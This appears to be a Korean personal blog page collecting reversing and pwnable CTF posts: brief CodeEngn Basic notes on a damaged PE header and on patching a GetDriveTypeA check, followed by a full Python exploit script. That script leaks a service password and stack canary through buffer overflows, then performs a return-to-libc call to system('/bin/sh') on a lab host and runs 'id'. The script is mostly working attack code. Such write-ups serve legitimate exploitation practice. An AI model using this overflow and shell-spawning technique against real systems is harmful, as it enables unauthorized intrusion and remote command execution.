반응형

실행파일은 실행되지 않습니다. 

그 이유는 PE 헤더가 손상되어 있기 때문인데

아직 시도해보지 않았으나 PE헤더를 복구 시킬수도 있을것 같습니다.

하지만 저는 보통 실행파일에 문자열은 Data 섹션에 밀집해 있다는 것을 이용하였습니다.





'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
CodeEngn basic 04  (0) 2015.11.13
CodeEngn Basic 03  (0) 2015.11.13
CodeEngn Basic 01  (0) 2015.11.13
반응형

GetDriveTypeA API에 대해 공부할 수 있는 문제입니다.


디버거를 시작하자마자 이 화면이 뜰 것입니다. 

MSDN에서 GetDriveTypeA를 검색해 보면

GetDriveTypeA라는 API는 파라미터로 루트 디렉터리를 입력받고

드라이버의 타입에 따라 값을 반환합니다.

이걸 통해 답을 알 수 있습니다.

이때 하드디스크를 CD-ROM으로 인식시킬려면

리턴값을 바꾸거나 JE부분을 패치 시키면 됩니다.



'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
CodeEngn basic 04  (0) 2015.11.13
CodeEngn Basic 03  (0) 2015.11.13
CodeEngn Basic 02  (0) 2015.11.13
반응형

POC를 못가는 슬픔...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from socket import *
from time import sleep
from struct import pack,unpack
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
connectto = ('192.168.223.129',1127)
def getpassword():
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    S.send("A"*0x11d+p(0x804b060)+"\n"#Password Leak
    print S.recv(1024)
    ipw = S.recv(1024)
    print ipw
    print "[!] Password : "+ipw[ipw.find("***:")+5:ipw.find("terminated")]
    return ipw[ipw.find("***:")+5:ipw.find("terminated")]
def main():
    Password = getpassword()
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    
    system_plt = 0x8048610
    canary = 0x00000000
    name_data = 0x804b0e0
    print S.recv(1024)
    # Set not to go exit(1)
    S.send(Password+"\n")
    sleep(0.5)
    print S.recv(1024)
    S.send("2\n")
    print S.recv(1024)
    S.send("1\n")
    print S.recv(1024)
    # Set name data to "/bin/sh"and get canary
    S.send("4\n")
    print S.recv(1024)
    S.send("A"*0x16)    # get canari
    print S.recv(1024)
    S.send("/bin/sh;")
    print S.recv(1024)
    S.send("A\n")
    sleep(1)
    icanary = S.recv(1024)
    print "1"
    print icanary
    canary = up(chr(0x0)+icanary[69:72])
    print "[!] Canary : " + hex(canary)
    # Attack RTL with canary
    S.send("3\n")
    print S.recv(1024)
    S.send("A"*0xd9+p(canary)+"A"*0xC+p(system_plt)+"AAAA"+p(name_data)+"\n")
    sleep(0.5)
    print  S.recv(1024)
    # exit
    S.send("0\n")
    sleep(0.5)
    print S.recv(1024)
    S.send("1\n")
    sleep(1.5)
    print S.recv(1024)
    # get id at /bin/sh
    S.send("id;\n")
    print S.recv(1024)
if __name__ == "__main__":
    main()
 
cs



'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
SongSari - Basic Bof  (0) 2015.12.01
Pin Tool 간단 설명  (0) 2015.11.21
PlaidCTF-2013 pork  (0) 2015.10.28

+ Recent posts